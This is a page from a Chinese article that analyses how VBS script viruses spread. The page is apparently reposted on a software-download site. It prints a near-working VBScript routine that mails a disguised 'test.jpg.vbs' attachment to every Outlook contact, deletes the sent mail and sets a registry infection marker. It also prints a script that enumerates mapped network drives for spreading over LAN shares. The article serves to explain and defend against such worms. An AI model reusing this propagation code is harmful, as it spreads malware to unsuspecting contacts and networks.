用户登录  |  傲看软件园 用户注册
文章中心广告代码ASP源码PHP源码JSP源码.NET源码源码相关傲看留言板繁體中文
当前位置:傲看软件园文章中心电脑安全安防新闻

VBS脚本病毒原理分析及防范

减小字体 增大字体 作者:风未起时  来源:中国站长学院  发布时间:2008-10-20 20:29:55
1)通过Email附件传播

  这是一种用的非常普遍的传播方式,病毒可以通过各种方法拿到合法的Email地址,最常见的就是直接取outlook地址簿中的邮件地址,也可以通过程序在用户文档(譬如htm文件)中搜索Email地址。

  下面我们具体分析一下VBS脚本病毒是如何做到这一点的:

  Function mailBroadcast()
  on error resume next
  wscript.echo
  Set outlookApp = CreateObject("Outlook.Application") //创建一个OUTLOOK应用的对象
  If outlookApp= "Outlook" Then
   Set mapiObj=outlookApp.GetNameSpace("MAPI")   //获取MAPI的名字空间
   Set addrList= mapiObj.AddressLists        //获取地址表的个数
   For Each addr In addrList
   If  addr.AddressEntries.Count <> 0 Then
   addrEntCount = addr.AddressEntries.Count //获取每个地址表的Email记录数
   For addrEntIndex= 1 To addrEntCount     //遍历地址表的Email地址
    Set item = outlookApp.CreateItem(0)    //获取一个邮件对象实例
    Set addrEnt = addr.AddressEntries(addrEntIndex)   //获取具体Email地址
    item.To = addrEnt.Address           //填入收信人地址    item.Subject = "病毒传播实验"  //写入邮件标题
    item.Body = "这里是病毒邮件传播测试,收到此信请不要慌张!"  //写入文件内容
    Set attachMents=item.Attachments   //定义邮件附件
    attachMents.Add fileSysObj.GetSpecialFolder(0) & "\test.jpg.vbs"
    item.DeleteAfterSubmit = True    //信件提交后自动删除
    If item.To <> "" Then 
    item.Send           //发送邮件
    shellObj.regwrite "HKCU\software\Mailtest\mailed", "1" //病毒标记,以免重复感染
    End If
   Next
   End If
  Next
End if
End Function

  2)通过局域网共享传播

  局域网共享传播也是一种非常普遍并且有效的网络传播方式。一般来说,为了局域网内交流方便,一定存在不少共享目录,并且具有可写权限,譬如win2000创建共享时,默认就是具有可写权限。这样病毒通过搜索这些共享目录,就可以将病毒代码传播到这些目录之中。

  在VBS中,有一个对象可以实现网上邻居共享文件夹的搜索与文件操作。我们利用该对象就可以达到传播的目的。

welcome_msg = "网络连接搜索测试"
Set WSHNetwork = WScript.CreateObject("WScript.Network") ’创建一个网络对象
Set oPrinters = WshNetwork.EnumPrinterConnections   ’创建一个网络打印机连接列表
WScript.Echo "Network printer mappings:"
For i = 0 to oPrinters.Count - 1 Step 2   ’显示网络打印机连接情况
  WScript.Echo "Port " & oPrinters.Item(i) & " = " & oPrinters.Item(i+1)
Next
Set colDrives = WSHNetwork.EnumNetworkDrives   ’创建一个网络共享连接列表
If colDrives.Count = 0 Then
  MsgBox "没有可列出的驱动器。", vbInformation + vbOkOnly,welcome_msg
Else
  strMsg = "当前网络驱动器连接: " & CRLF
  For i = 0 To colDrives.Count - 1 Step 2
   strMsg = strMsg & Chr(13) & Chr(10) & colDrives(i) & Chr(9) & colDrives(i + 1)
  Next
  MsgBox strMsg, vbInformation + vbOkOnly, welcome_msg’显示当前网络驱动器连接End If


上一页  [1] [2] [3] [4] [5] [6] [7]  下一页

Tags:

作者:风未起时

文章评论评论内容只代表网友观点,与本站立场无关!

   评论摘要(共 0 条,得分 0 分,平均 0 分) 查看完整评论

精品栏目导航

关于本站 | 网站帮助 | 广告合作 | 下载声明 | 友情连接 | 网站地图
冀ICP备08004437号 | 客服Q:354766721 | 交流群83228313
傲看软件园 - 绿色软件,破解软件下载站! 源码网 源码之家 绿软之家
Copyright © 2003-2010 OkHan.Net. All Rights Reserved .
页面执行时间:46,359.38000 毫秒
Powered by:OkHan CMS Version 4.0.0 SP2